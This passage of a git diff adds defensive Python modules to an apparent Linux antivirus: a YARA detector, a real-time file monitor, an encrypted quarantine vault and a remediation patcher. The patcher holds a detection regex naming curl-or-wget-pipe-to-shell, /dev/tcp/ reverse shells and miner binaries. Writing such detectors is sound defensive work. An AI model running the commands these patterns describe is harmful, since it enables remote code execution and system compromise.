rules_dir: str | Path = DEFAULT_YARA_RULES_DIR) -> None: + self.rules_dir = Path(rules_dir) + self._rules: Any = None # compiled yara.Rules object + self._rule_count: int = 0 + self._loaded = False + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "yara_detector" + + @property + def description(self) -> str: + return "Pattern matching using compiled YARA rules" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Match all loaded YARA rules against *file_path*. + + Falls back to in-memory matching if *file_content* is provided. + """ + if not _YARA_AVAILABLE: + self._warn("yara-python is not installed — skipping YARA detection") + return [] + + if not self._loaded: + self.load_rules() + + if self._rules is None: + return [] + + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + if file_content is not None: + matches = self._rules.match(data=file_content) + else: + matches = self._rules.match(filepath=str(file_path)) + except yara.Error as exc: + self._warn("YARA scan failed for %s: %s", file_path, exc) + return results + + for match in matches: + meta = match.meta or {} + severity = _META_SEVERITY_MAP.get( + str(meta.get("severity", "")).lower(), "HIGH" + ) + threat_type = meta.get("threat_type", "MALWARE").upper() + threat_name = meta.get("threat_name") or match.rule + + matched_strings = [] + try: + for offset, identifier, data in match.strings: + matched_strings.append( + f"{identifier} @ 0x{offset:x}" + ) + except (TypeError, ValueError): + # match.strings format varies between yara-python versions. + pass + + detail_parts = [f"YARA rule '{match.rule}' matched"] + if match.namespace and match.namespace != "default": + detail_parts.append(f"namespace={match.namespace}") + if matched_strings: + detail_parts.append( + f"strings=[{', '.join(matched_strings[:5])}]" + ) + if meta.get("description"): + detail_parts.append(meta["description"]) + + results.append(DetectionResult( + threat_name=threat_name, + threat_type=threat_type, + severity=severity, + confidence=int(meta.get("confidence", 90)), + details=" | ".join(detail_parts), + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Rule management + # ------------------------------------------------------------------ + + def load_rules(self, rules_dir: Optional[str | Path] = None) -> None: + """Compile all ``.yar`` / ``.yara`` files in *rules_dir*. + + Compiled rules are cached in ``self._rules``. Call this again + after updating rule files to pick up changes. + """ + if not _YARA_AVAILABLE: + self._warn("yara-python is not installed — cannot load rules") + return + + directory = Path(rules_dir) if rules_dir else self.rules_dir + if not directory.is_dir(): + self._warn("YARA rules directory does not exist: %s", directory) + return + + rule_files = sorted( + p for p in directory.iterdir() + if p.suffix.lower() in (".yar", ".yara") and p.is_file() + ) + + if not rule_files: + self._log("No YARA rule files found in %s", directory) + self._rules = None + self._rule_count = 0 + self._loaded = True + return + + # Build a filepaths dict for yara.compile(filepaths={...}). + filepaths = {} + for idx, rf in enumerate(rule_files): + namespace = rf.stem + filepaths[namespace] = str(rf) + + try: + self._rules = yara.compile(filepaths=filepaths) + self._rule_count = len(rule_files) + self._loaded = True + self._log( + "Compiled %d YARA rule file(s) from %s", + self._rule_count, + directory, + ) + except yara.SyntaxError as exc: + self._error("YARA compilation error: %s", exc) + self._rules = None + except yara.Error as exc: + self._error("YARA error: %s", exc) + self._rules = None + + @property + def rule_count(self) -> int: + """Number of rule files currently compiled.""" + return self._rule_count + + @property + def available(self) -> bool: + """Return ``True`` if ``yara-python`` is installed.""" + return _YARA_AVAILABLE diff --git a/ayn-antivirus/ayn_antivirus/monitor/__init__.py b/ayn-antivirus/ayn_antivirus/monitor/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/monitor/realtime.py b/ayn-antivirus/ayn_antivirus/monitor/realtime.py new file mode 100644 index 0000000..522c2b2 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/monitor/realtime.py @@ -0,0 +1,265 @@ +"""Real-time file-system monitor for AYN Antivirus. + +Uses the ``watchdog`` library to observe directories for file creation, +modification, and move events, then immediately scans the affected files +through the :class:`ScanEngine`. Supports debouncing, auto-quarantine, +and thread-safe operation. +""" + +from __future__ import annotations + +import logging +import threading +import time +from pathlib import Path +from typing import Any, Dict, List, Optional, Set + +from watchdog.events import FileSystemEvent, FileSystemEventHandler +from watchdog.observers import Observer + +from ayn_antivirus.config import Config +from ayn_antivirus.core.engine import ScanEngine, FileScanResult +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.quarantine.vault import QuarantineVault + +logger = logging.getLogger(__name__) + +# File suffixes that are almost always transient / editor artefacts. +_SKIP_SUFFIXES = frozenset(( + ".tmp", ".swp", ".swx", ".swo", ".lock", ".part", + ".crdownload", ".kate-swp", ".~lock.", ".bak~", +)) + +# Minimum seconds between re-scanning the same path (debounce). +_DEBOUNCE_SECONDS = 2.0 + + +# --------------------------------------------------------------------------- +# Watchdog event handler +# --------------------------------------------------------------------------- + +class _FileEventHandler(FileSystemEventHandler): + """Internal handler that bridges watchdog events to the scan engine. + + Parameters + ---------- + monitor: + The owning :class:`RealtimeMonitor` instance. + """ + + def __init__(self, monitor: RealtimeMonitor) -> None: + super().__init__() + self._monitor = monitor + + # Only react to file events (not directories). + + def on_created(self, event: FileSystemEvent) -> None: + if not event.is_directory: + self._monitor._on_file_event(event.src_path, "created") + + def on_modified(self, event: FileSystemEvent) -> None: + if not event.is_directory: + self._monitor._on_file_event(event.src_path, "modified") + + def on_moved(self, event: FileSystemEvent) -> None: + if not event.is_directory: + dest = getattr(event, "dest_path", None) + if dest: + self._monitor._on_file_event(dest, "moved") + + +# --------------------------------------------------------------------------- +# RealtimeMonitor +# --------------------------------------------------------------------------- + +class RealtimeMonitor: + """Watch directories and scan new / changed files in real time. + + Parameters + ---------- + config: + Application configuration. + scan_engine: + A pre-built :class:`ScanEngine` instance used to scan files. + """ + + def __init__(self, config: Config, scan_engine: ScanEngine) -> None: + self.config = config + self.engine = scan_engine + + self._observer: Optional[Observer] = None + self._lock = threading.Lock() + self._recent: Dict[str, float] = {} # path → last-scan timestamp + self._running = False + + # Optional auto-quarantine vault. + self._vault: Optional[QuarantineVault] = None + if config.auto_quarantine: + self._vault = QuarantineVault(config.quarantine_path) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def start(self, paths: Optional[List[str]] = None, recursive: bool = True) -> None: + """Begin monitoring *paths* (defaults to ``config.scan_paths``). + + Parameters + ---------- + paths: + Directories to watch. + recursive: + Watch subdirectories as well. + """ + watch_paths = paths or self.config.scan_paths + + with self._lock: + if self._running: + logger.warning("RealtimeMonitor is already running") + return + + self._observer = Observer() + handler = _FileEventHandler(self) + + for p in watch_paths: + pp = Path(p) + if not pp.is_dir(): + logger.warning("Skipping non-existent path: %s", p) + continue + self._observer.schedule(handler, str(pp), recursive=recursive) + logger.info("Watching: %s (recursive=%s)", pp, recursive) + + self._observer.start() + self._running = True + + logger.info("RealtimeMonitor started — watching %d path(s)", len(watch_paths)) + event_bus.publish(EventType.SCAN_STARTED, { + "type": "realtime_monitor", + "paths": watch_paths, + }) + + def stop(self) -> None: + """Stop monitoring and wait for the observer thread to exit.""" + with self._lock: + if not self._running or self._observer is None: + return + self._observer.stop() + + self._observer.join(timeout=10) + + with self._lock: + self._running = False + self._observer = None + + logger.info("RealtimeMonitor stopped") + + @property + def is_running(self) -> bool: + with self._lock: + return self._running + + # ------------------------------------------------------------------ + # Event callbacks (called by _FileEventHandler) + # ------------------------------------------------------------------ + + def on_file_created(self, path: str) -> None: + """Scan a newly created file.""" + self._scan_file(path, "created") + + def on_file_modified(self, path: str) -> None: + """Scan a modified file.""" + self._scan_file(path, "modified") + + def on_file_moved(self, path: str) -> None: + """Scan a file that was moved/renamed into a watched directory.""" + self._scan_file(path, "moved") + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _on_file_event(self, path: str, event_type: str) -> None: + """Central dispatcher invoked by the watchdog handler.""" + if self._should_skip(path): + return + + if self._is_debounced(path): + return + + logger.debug("File event: %s %s", event_type, path) + + # Dispatch to the named callback (also usable directly). + if event_type == "created": + self.on_file_created(path) + elif event_type == "modified": + self.on_file_modified(path) + elif event_type == "moved": + self.on_file_moved(path) + + def _scan_file(self, path: str, reason: str) -> None: + """Run the scan engine against a single file and handle results.""" + fp = Path(path) + if not fp.is_file(): + return + + try: + result: FileScanResult = self.engine.scan_file(fp) + except Exception: + logger.exception("Error scanning %s", fp) + return + + if result.threats: + logger.warning( + "THREAT detected (%s) in %s: %s", + reason, + path, + ", ".join(t.threat_name for t in result.threats), + ) + + # Auto-quarantine if enabled. + if self._vault and fp.exists(): + try: + threat = result.threats[0] + qid = self._vault.quarantine_file(fp, { + "threat_name": threat.threat_name, + "threat_type": threat.threat_type.name if hasattr(threat.threat_type, "name") else str(threat.threat_type), + "severity": threat.severity.name if hasattr(threat.severity, "name") else str(threat.severity), + "file_hash": result.file_hash, + }) + logger.info("Auto-quarantined %s → %s", path, qid) + except Exception: + logger.exception("Auto-quarantine failed for %s", path) + else: + logger.debug("Clean: %s (%s)", path, reason) + + # ------------------------------------------------------------------ + # Debounce & skip logic + # ------------------------------------------------------------------ + + def _is_debounced(self, path: str) -> bool: + """Return ``True`` if *path* was scanned within the debounce window.""" + now = time.monotonic() + with self._lock: + last = self._recent.get(path, 0.0) + if now - last < _DEBOUNCE_SECONDS: + return True + self._recent[path] = now + + # Prune stale entries periodically. + if len(self._recent) > 5000: + cutoff = now - _DEBOUNCE_SECONDS * 2 + self._recent = { + k: v for k, v in self._recent.items() if v > cutoff + } + return False + + @staticmethod + def _should_skip(path: str) -> bool: + """Return ``True`` for temporary / lock / editor backup files.""" + name = Path(path).name.lower() + if any(name.endswith(s) for s in _SKIP_SUFFIXES): + return True + # Hidden editor temp files like .#foo or 4913 (vim temp). + if name.startswith(".#"): + return True + return False diff --git a/ayn-antivirus/ayn_antivirus/quarantine/__init__.py b/ayn-antivirus/ayn_antivirus/quarantine/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/quarantine/vault.py b/ayn-antivirus/ayn_antivirus/quarantine/vault.py new file mode 100644 index 0000000..5b8ceb7 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/quarantine/vault.py @@ -0,0 +1,378 @@ +"""Encrypted quarantine vault for AYN Antivirus. + +Isolates malicious files by encrypting them with Fernet (AES-128-CBC + +HMAC-SHA256) and storing them alongside JSON metadata in a dedicated +vault directory. Files can be restored, inspected, or permanently deleted. +""" + +from __future__ import annotations + +import fcntl +import json +import logging +import os +import re +import shutil +import stat +from datetime import datetime, timedelta +from pathlib import Path +from typing import Any, Dict, List, Optional +from uuid import uuid4 + +from cryptography.fernet import Fernet + +from ayn_antivirus.constants import ( + DEFAULT_QUARANTINE_PATH, + QUARANTINE_ENCRYPTION_KEY_FILE, + SCAN_CHUNK_SIZE, +) +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +class QuarantineVault: + """Encrypted file quarantine vault. + + Parameters + ---------- + quarantine_dir: + Directory where encrypted files and metadata are stored. + key_file_path: + Path to the Fernet key file. Generated automatically on first use. + """ + + _VALID_QID_PATTERN = re.compile(r'^[a-f0-9]{32}$') + + # Directories that should never be a restore destination. + _BLOCKED_DIRS = frozenset({ + Path("/etc"), Path("/usr/bin"), Path("/usr/sbin"), Path("/sbin"), + Path("/bin"), Path("/boot"), Path("/root/.ssh"), Path("/proc"), + Path("/sys"), Path("/dev"), Path("/var/run"), + }) + + # Directories used for scheduled tasks — never restore into these. + _CRON_DIRS = frozenset({ + Path("/etc/cron.d"), Path("/etc/cron.daily"), + Path("/etc/cron.hourly"), Path("/var/spool/cron"), + Path("/etc/systemd"), + }) + + def __init__( + self, + quarantine_dir: str | Path = DEFAULT_QUARANTINE_PATH, + key_file_path: str | Path = QUARANTINE_ENCRYPTION_KEY_FILE, + ) -> None: + self.vault_dir = Path(quarantine_dir) + self.key_file = Path(key_file_path) + self._fernet: Optional[Fernet] = None + + # Ensure directories exist. + self.vault_dir.mkdir(parents=True, exist_ok=True) + self.key_file.parent.mkdir(parents=True, exist_ok=True) + + # ------------------------------------------------------------------ + # Input validation + # ------------------------------------------------------------------ + + def _validate_qid(self, quarantine_id: str) -> str: + """Validate quarantine ID is a hex UUID (no path traversal). + + Raises :class:`ValueError` if the ID does not match the expected + 32-character hexadecimal format. + """ + qid = quarantine_id.strip() + if not self._VALID_QID_PATTERN.match(qid): + raise ValueError( + f"Invalid quarantine ID format: {quarantine_id!r} " + f"(must be 32 hex chars)" + ) + return qid + + def _validate_restore_path(self, path_str: str) -> Path: + """Validate restore path to prevent directory traversal. + + Blocks restoring to sensitive system directories and scheduled- + task directories. Resolves all paths to handle symlinks like + ``/etc`` → ``/private/etc`` on macOS. + """ + dest = Path(path_str).resolve() + for blocked in self._BLOCKED_DIRS: + resolved = blocked.resolve() + if dest == resolved or resolved in dest.parents or dest.parent == resolved: + raise ValueError(f"Refusing to restore to protected path: {dest}") + for cron_dir in self._CRON_DIRS: + resolved = cron_dir.resolve() + if resolved in dest.parents or dest.parent == resolved: + raise ValueError( + f"Refusing to restore to scheduled task directory: {dest}" + ) + return dest + + # ------------------------------------------------------------------ + # Key management + # ------------------------------------------------------------------ + + def _get_fernet(self) -> Fernet: + """Return the cached Fernet instance, loading or generating the key.""" + if self._fernet is not None: + return self._fernet + + if self.key_file.exists(): + key = self.key_file.read_bytes().strip() + else: + key = Fernet.generate_key() + # Write key with restricted permissions. + fd = os.open( + str(self.key_file), + os.O_WRONLY | os.O_CREAT | os.O_TRUNC, + 0o600, + ) + try: + os.write(fd, key + b"\n") + finally: + os.close(fd) + logger.info("Generated new quarantine encryption key: %s", self.key_file) + + self._fernet = Fernet(key) + return self._fernet + + # ------------------------------------------------------------------ + # Quarantine + # ------------------------------------------------------------------ + + def quarantine_file( + self, + file_path: str | Path, + threat_info: Dict[str, Any], + ) -> str: + """Encrypt and move a file into the vault. + + Parameters + ---------- + file_path: + Path to the file to quarantine. + threat_info: + Metadata dict (typically from a detector result). Expected keys: + ``threat_name``, ``threat_type``, ``severity``, ``file_hash``. + + Returns + ------- + str + The quarantine ID (UUID) for this entry. + """ + src = Path(file_path).resolve() + if not src.is_file(): + raise FileNotFoundError(f"Cannot quarantine: {src} does not exist or is not a file") + + qid = uuid4().hex + fernet = self._get_fernet() + + # Lock, read, and encrypt (prevents TOCTOU races). + with open(src, "rb") as f: + fcntl.flock(f.fileno(), fcntl.LOCK_EX) + plaintext = f.read() + st = os.fstat(f.fileno()) + fcntl.flock(f.fileno(), fcntl.LOCK_UN) + ciphertext = fernet.encrypt(plaintext) + + # Gather metadata. + meta = { + "id": qid, + "original_path": str(src), + "original_permissions": oct(st.st_mode & 0o7777), + "threat_name": threat_info.get("threat_name", "Unknown"), + "threat_type": threat_info.get("threat_type", "MALWARE"), + "severity": threat_info.get("severity", "HIGH"), + "quarantine_date": datetime.utcnow().isoformat(), + "file_hash": threat_info.get("file_hash", ""), + "file_size": st.st_size, + } + + # Write encrypted file + metadata. + enc_path = self.vault_dir / f"{qid}.enc" + meta_path = self.vault_dir / f"{qid}.json" + enc_path.write_bytes(ciphertext) + meta_path.write_text(json.dumps(meta, indent=2)) + + # Remove original. + try: + src.unlink() + logger.info("Quarantined %s → %s (threat: %s)", src, qid, meta["threat_name"]) + except OSError as exc: + logger.warning("Encrypted copy saved but failed to remove original %s: %s", src, exc) + + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "quarantine", + "quarantine_id": qid, + "original_path": str(src), + "threat_name": meta["threat_name"], + }) + + return qid + + # ------------------------------------------------------------------ + # Restore + # ------------------------------------------------------------------ + + def restore_file( + self, + quarantine_id: str, + restore_path: Optional[str | Path] = None, + ) -> str: + """Decrypt and restore a quarantined file. + + Parameters + ---------- + quarantine_id: + UUID returned by :meth:`quarantine_file`. + restore_path: + Where to write the restored file. Defaults to the original path. + + Returns + ------- + str + Absolute path of the restored file. + + Raises + ------ + ValueError + If the quarantine ID is malformed or the restore path points + to a protected system directory. + """ + qid = self._validate_qid(quarantine_id) + meta = self._load_meta(qid) + enc_path = self.vault_dir / f"{qid}.enc" + + if not enc_path.exists(): + raise FileNotFoundError(f"Encrypted file not found for quarantine ID {qid}") + + # Validate restore destination. + if restore_path: + dest = self._validate_restore_path(str(restore_path)) + else: + dest = self._validate_restore_path(str(meta["original_path"])) + + fernet = self._get_fernet() + ciphertext = enc_path.read_bytes() + plaintext = fernet.decrypt(ciphertext) + + dest.parent.mkdir(parents=True, exist_ok=True) + dest.write_bytes(plaintext) + + # Restore original permissions, stripping SUID/SGID/sticky bits. + try: + perms = int(meta.get("original_permissions", "0o644"), 8) + perms = perms & 0o0777 # Keep only rwx bits + dest.chmod(perms) + except (ValueError, OSError): + pass + + logger.info("Restored quarantined file %s → %s", qid, dest) + + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "restore", + "quarantine_id": qid, + "restored_path": str(dest), + }) + + return str(dest.resolve()) + + # ------------------------------------------------------------------ + # Delete + # ------------------------------------------------------------------ + + def delete_file(self, quarantine_id: str) -> bool: + """Permanently remove a quarantined entry (encrypted file + metadata). + + Returns ``True`` if files were deleted. + """ + qid = self._validate_qid(quarantine_id) + enc_path = self.vault_dir / f"{qid}.enc" + meta_path = self.vault_dir / f"{qid}.json" + + deleted = False + for p in (enc_path, meta_path): + if p.exists(): + p.unlink() + deleted = True + + if deleted: + logger.info("Permanently deleted quarantine entry: %s", qid) + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "delete", + "quarantine_id": qid, + }) + + return deleted + + # ------------------------------------------------------------------ + # Listing / info + # ------------------------------------------------------------------ + + def list_quarantined(self) -> List[Dict[str, Any]]: + """Return a summary list of all quarantined items.""" + items: List[Dict[str, Any]] = [] + for meta_file in sorted(self.vault_dir.glob("*.json")): + try: + meta = json.loads(meta_file.read_text()) + items.append({ + "id": meta.get("id", meta_file.stem), + "original_path": meta.get("original_path", "?"), + "threat_name": meta.get("threat_name", "?"), + "quarantine_date": meta.get("quarantine_date", "?"), + "size": meta.get("file_size", 0), + }) + except (json.JSONDecodeError, OSError): + continue + return items + + def get_info(self, quarantine_id: str) -> Dict[str, Any]: + """Return full metadata for a quarantine entry. + + Raises ``FileNotFoundError`` if the ID is unknown. + """ + qid = self._validate_qid(quarantine_id) + return self._load_meta(qid) + + def count(self) -> int: + """Number of items currently in the vault.""" + return len(list(self.vault_dir.glob("*.json"))) + + # ------------------------------------------------------------------ + # Maintenance + # ------------------------------------------------------------------ + + def clean_old(self, days: int = 30) -> int: + """Delete quarantine entries older than *days*. + + Returns the number of entries removed. + """ + cutoff = datetime.utcnow() - timedelta(days=days) + removed = 0 + + for meta_file in self.vault_dir.glob("*.json"): + try: + meta = json.loads(meta_file.read_text()) + qdate = datetime.fromisoformat(meta.get("quarantine_date", "")) + if qdate < cutoff: + qid = meta.get("id", meta_file.stem) + self.delete_file(qid) + removed += 1 + except (json.JSONDecodeError, ValueError, OSError): + continue + + if removed: + logger.info("Cleaned %d quarantine entries older than %d days", removed, days) + return removed + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _load_meta(self, quarantine_id: str) -> Dict[str, Any]: + qid = self._validate_qid(quarantine_id) + meta_path = self.vault_dir / f"{qid}.json" + if not meta_path.exists(): + raise FileNotFoundError(f"Quarantine metadata not found: {qid}") + return json.loads(meta_path.read_text()) diff --git a/ayn-antivirus/ayn_antivirus/remediation/__init__.py b/ayn-antivirus/ayn_antivirus/remediation/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/remediation/patcher.py b/ayn-antivirus/ayn_antivirus/remediation/patcher.py new file mode 100644 index 0000000..2649f5d --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/remediation/patcher.py @@ -0,0 +1,544 @@ +"""Automated remediation engine for AYN Antivirus. + +Provides targeted fix actions for different threat types: permission +hardening, process killing, cron cleanup, SSH key auditing, startup +script removal, LD_PRELOAD cleaning, IP/domain blocking, and system +binary restoration via the system package manager. + +All actions support a **dry-run** mode that logs intended changes without +modifying the system. +""" + +from __future__ import annotations + +import logging +import os +import re +import shutil +import stat +import subprocess +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import SUSPICIOUS_CRON_PATTERNS +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Action record +# --------------------------------------------------------------------------- + +@dataclass +class RemediationAction: + """Describes a single remediation step.""" + + action: str + target: str + details: str = "" + success: bool = False + dry_run: bool = False + + +# --------------------------------------------------------------------------- +# AutoPatcher +# --------------------------------------------------------------------------- + +class AutoPatcher: + """Apply targeted remediations against discovered threats. + + Parameters + ---------- + dry_run: + If ``True``, no changes are made — only the intended actions are + logged and returned. + """ + + def __init__(self, dry_run: bool = False) -> None: + self.dry_run = dry_run + self.actions: List[RemediationAction] = [] + + # ------------------------------------------------------------------ + # High-level dispatcher + # ------------------------------------------------------------------ + + def remediate_threat(self, threat_info: Dict[str, Any]) -> List[RemediationAction]: + """Choose and execute the correct fix(es) for *threat_info*. + + Routes on ``threat_type`` (MINER, ROOTKIT, SPYWARE, MALWARE, etc.) + and the available metadata. + """ + ttype = (threat_info.get("threat_type") or "").upper() + path = threat_info.get("path", "") + pid = threat_info.get("pid") + + actions: List[RemediationAction] = [] + + # Kill associated process. + if pid: + actions.append(self.kill_malicious_process(int(pid))) + + # Quarantine / permission fix for file-based threats. + if path and Path(path).exists(): + actions.append(self.fix_permissions(path)) + + # Type-specific extras. + if ttype == "ROOTKIT": + actions.append(self.fix_ld_preload()) + elif ttype == "MINER": + # Block known pool domains if we have one. + domain = threat_info.get("domain") + if domain: + actions.append(self.block_domain(domain)) + ip = threat_info.get("ip") + if ip: + actions.append(self.block_ip(ip)) + elif ttype == "SPYWARE": + if path and "cron" in path: + actions.append(self.remove_malicious_cron()) + + for a in actions: + self._publish(a) + + self.actions.extend(actions) + return actions + + # ------------------------------------------------------------------ + # Permission fixes + # ------------------------------------------------------------------ + + def fix_permissions(self, path: str | Path) -> RemediationAction: + """Remove SUID, SGID, and world-writable bits from *path*.""" + p = Path(path) + action = RemediationAction( + action="fix_permissions", + target=str(p), + dry_run=self.dry_run, + ) + + try: + st = p.stat() + old_mode = st.st_mode + new_mode = old_mode + + # Strip SUID / SGID. + new_mode &= ~stat.S_ISUID + new_mode &= ~stat.S_ISGID + # Strip world-writable. + new_mode &= ~stat.S_IWOTH + + if new_mode == old_mode: + action.details = "Permissions already safe" + action.success = True + return action + + action.details = ( + f"Changing permissions: {oct(old_mode & 0o7777)} → {oct(new_mode & 0o7777)}" + ) + + if not self.dry_run: + p.chmod(new_mode) + + action.success = True + logger.info("fix_permissions: %s %s", action.details, "(dry-run)" if self.dry_run else "") + except OSError as exc: + action.details = f"Failed: {exc}" + logger.error("fix_permissions failed on %s: %s", p, exc) + + return action + + # ------------------------------------------------------------------ + # Process killing + # ------------------------------------------------------------------ + + def kill_malicious_process(self, pid: int) -> RemediationAction: + """Send SIGKILL to *pid*.""" + action = RemediationAction( + action="kill_process", + target=str(pid), + dry_run=self.dry_run, + ) + + try: + proc = psutil.Process(pid) + action.details = f"Process: {proc.name()} (PID {pid})" + except psutil.NoSuchProcess: + action.details = f"PID {pid} no longer exists" + action.success = True + return action + + if self.dry_run: + action.success = True + return action + + try: + proc.kill() + proc.wait(timeout=5) + action.success = True + logger.info("Killed process %d (%s)", pid, proc.name()) + except psutil.NoSuchProcess: + action.success = True + action.details += " (already exited)" + except (psutil.AccessDenied, psutil.TimeoutExpired) as exc: + action.details += f" — {exc}" + logger.error("Failed to kill PID %d: %s", pid, exc) + + return action + + # ------------------------------------------------------------------ + # Cron cleanup + # ------------------------------------------------------------------ + + def remove_malicious_cron(self, pattern: Optional[str] = None) -> RemediationAction: + """Remove cron entries matching suspicious patterns. + + If *pattern* is ``None``, uses all :pydata:`SUSPICIOUS_CRON_PATTERNS`. + """ + action = RemediationAction( + action="remove_malicious_cron", + target="/var/spool/cron + /etc/cron.d", + dry_run=self.dry_run, + ) + + patterns = [re.compile(pattern)] if pattern else [ + re.compile(p) for p in SUSPICIOUS_CRON_PATTERNS + ] + + removed_lines: List[str] = [] + + cron_dirs = [ + Path("/var/spool/cron/crontabs"), + Path("/var/spool/cron"), + Path("/etc/cron.d"), + ] + + for cron_dir in cron_dirs: + if not cron_dir.is_dir(): + continue + for cron_file in cron_dir.iterdir(): + if not cron_file.is_file(): + continue + try: + lines = cron_file.read_text().splitlines() + clean_lines = [] + for line in lines: + if any(pat.search(line) for pat in patterns): + removed_lines.append(f"{cron_file}: {line.strip()}") + else: + clean_lines.append(line) + + if len(clean_lines) < len(lines) and not self.dry_run: + cron_file.write_text("\n".join(clean_lines) + "\n") + except OSError: + continue + + action.details = f"Removed {len(removed_lines)} cron line(s)" + if removed_lines: + action.details += ": " + "; ".join(removed_lines[:5]) + action.success = True + logger.info("remove_malicious_cron: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # SSH key cleanup + # ------------------------------------------------------------------ + + def clean_authorized_keys(self, path: Optional[str | Path] = None) -> RemediationAction: + """Remove unauthorized keys from ``authorized_keys``. + + Without *path*, scans all users' ``~/.ssh/authorized_keys`` plus + ``/root/.ssh/authorized_keys``. + + In non-dry-run mode, backs up the file before modifying. + """ + action = RemediationAction( + action="clean_authorized_keys", + target=str(path) if path else "all users", + dry_run=self.dry_run, + ) + + targets: List[Path] = [] + if path: + targets.append(Path(path)) + else: + # Root + root_ak = Path("/root/.ssh/authorized_keys") + if root_ak.exists(): + targets.append(root_ak) + # System users from /home + home = Path("/home") + if home.is_dir(): + for user_dir in home.iterdir(): + ak = user_dir / ".ssh" / "authorized_keys" + if ak.exists(): + targets.append(ak) + + total_removed = 0 + for ak_path in targets: + try: + lines = ak_path.read_text().splitlines() + clean: List[str] = [] + for line in lines: + stripped = line.strip() + if not stripped or stripped.startswith("#"): + clean.append(line) + continue + # Flag lines with forced commands as suspicious. + if stripped.startswith("command="): + total_removed += 1 + continue + clean.append(line) + + if len(clean) < len(lines) and not self.dry_run: + backup = ak_path.with_suffix(".bak") + shutil.copy2(str(ak_path), str(backup)) + ak_path.write_text("\n".join(clean) + "\n") + except OSError: + continue + + action.details = f"Removed {total_removed} suspicious key(s) from {len(targets)} file(s)" + action.success = True + logger.info("clean_authorized_keys: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # Startup script cleanup + # ------------------------------------------------------------------ + + def remove_suspicious_startup(self, path: Optional[str | Path] = None) -> RemediationAction: + """Remove suspicious entries from init scripts, systemd units, or rc.local.""" + action = RemediationAction( + action="remove_suspicious_startup", + target=str(path) if path else "/etc/init.d, systemd, rc.local", + dry_run=self.dry_run, + ) + + suspicious_re = re.compile( + r"(?:curl|wget)\s+.*\|\s*(?:sh|bash)|xmrig|minerd|/dev/tcp/|nohup\s+.*&", + re.IGNORECASE, + ) + + targets: List[Path] = [] + if path: + targets.append(Path(path)) + else: + rc_local = Path("/etc/rc.local") + if rc_local.exists(): + targets.append(rc_local) + for d in ("/etc/init.d", "/etc/systemd/system"): + dp = Path(d) + if dp.is_dir(): + targets.extend(f for f in dp.iterdir() if f.is_file()) + + cleaned_count = 0 + for target in targets: + try: + content = target.read_text() + lines = content.splitlines() + clean = [l for l in lines if not suspicious_re.search(l)] + if len(clean) < len(lines): + cleaned_count += len(lines) - len(clean) + if not self.dry_run: + backup = target.with_suffix(target.suffix + ".bak") + shutil.copy2(str(target), str(backup)) + target.write_text("\n".join(clean) + "\n") + except OSError: + continue + + action.details = f"Removed {cleaned_count} suspicious line(s) from {len(targets)} file(s)" + action.success = True + logger.info("remove_suspicious_startup: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # LD_PRELOAD cleanup + # ------------------------------------------------------------------ + + def fix_ld_preload(self) -> RemediationAction: + """Remove all entries from ``/etc/ld.so.preload``.""" + action = RemediationAction( + action="fix_ld_preload", + target="/etc/ld.so.preload", + dry_run=self.dry_run, + ) + + ld_path = Path("/etc/ld.so.preload") + if not ld_path.exists(): + action.details = "File does not exist — nothing to fix" + action.success = True + return action + + try: + content = ld_path.read_text().strip() + if not content: + action.details = "File is already empty" + action.success = True + return action + + action.details = f"Clearing ld.so.preload (was: {content[:120]})" + + if not self.dry_run: + backup = ld_path.with_suffix(".bak") + shutil.copy2(str(ld_path), str(backup)) + ld_path.write_text("") + + action.success = True + logger.info("fix_ld_preload: %s", action.details) + except OSError as exc: + action.details = f"Failed: {exc}" + logger.error("fix_ld_preload: %s", exc) + + return action + + # ------------------------------------------------------------------ + # Network blocking + # ------------------------------------------------------------------ + + def block_ip(self, ip_address: str) -> RemediationAction: + """Add an iptables DROP rule for *ip_address*.""" + action = RemediationAction( + action="block_ip", + target=ip_address, + dry_run=self.dry_run, + ) + + cmd = ["iptables", "-A", "OUTPUT", "-d", ip_address, "-j", "DROP"] + action.details = f"Rule: {' '.join(cmd)}" + + if self.dry_run: + action.success = True + return action + + try: + subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=10) + action.success = True + logger.info("Blocked IP via iptables: %s", ip_address) + except (subprocess.CalledProcessError, FileNotFoundError, OSError) as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to block IP %s: %s", ip_address, exc) + + return action + + def block_domain(self, domain: str) -> RemediationAction: + """Redirect *domain* to 127.0.0.1 via ``/etc/hosts``.""" + action = RemediationAction( + action="block_domain", + target=domain, + dry_run=self.dry_run, + ) + + hosts_path = Path("/etc/hosts") + entry = f"127.0.0.1 {domain} # blocked by ayn-antivirus" + action.details = f"Adding to /etc/hosts: {entry}" + + if self.dry_run: + action.success = True + return action + + try: + current = hosts_path.read_text() + if domain in current: + action.details = f"Domain {domain} already in /etc/hosts" + action.success = True + 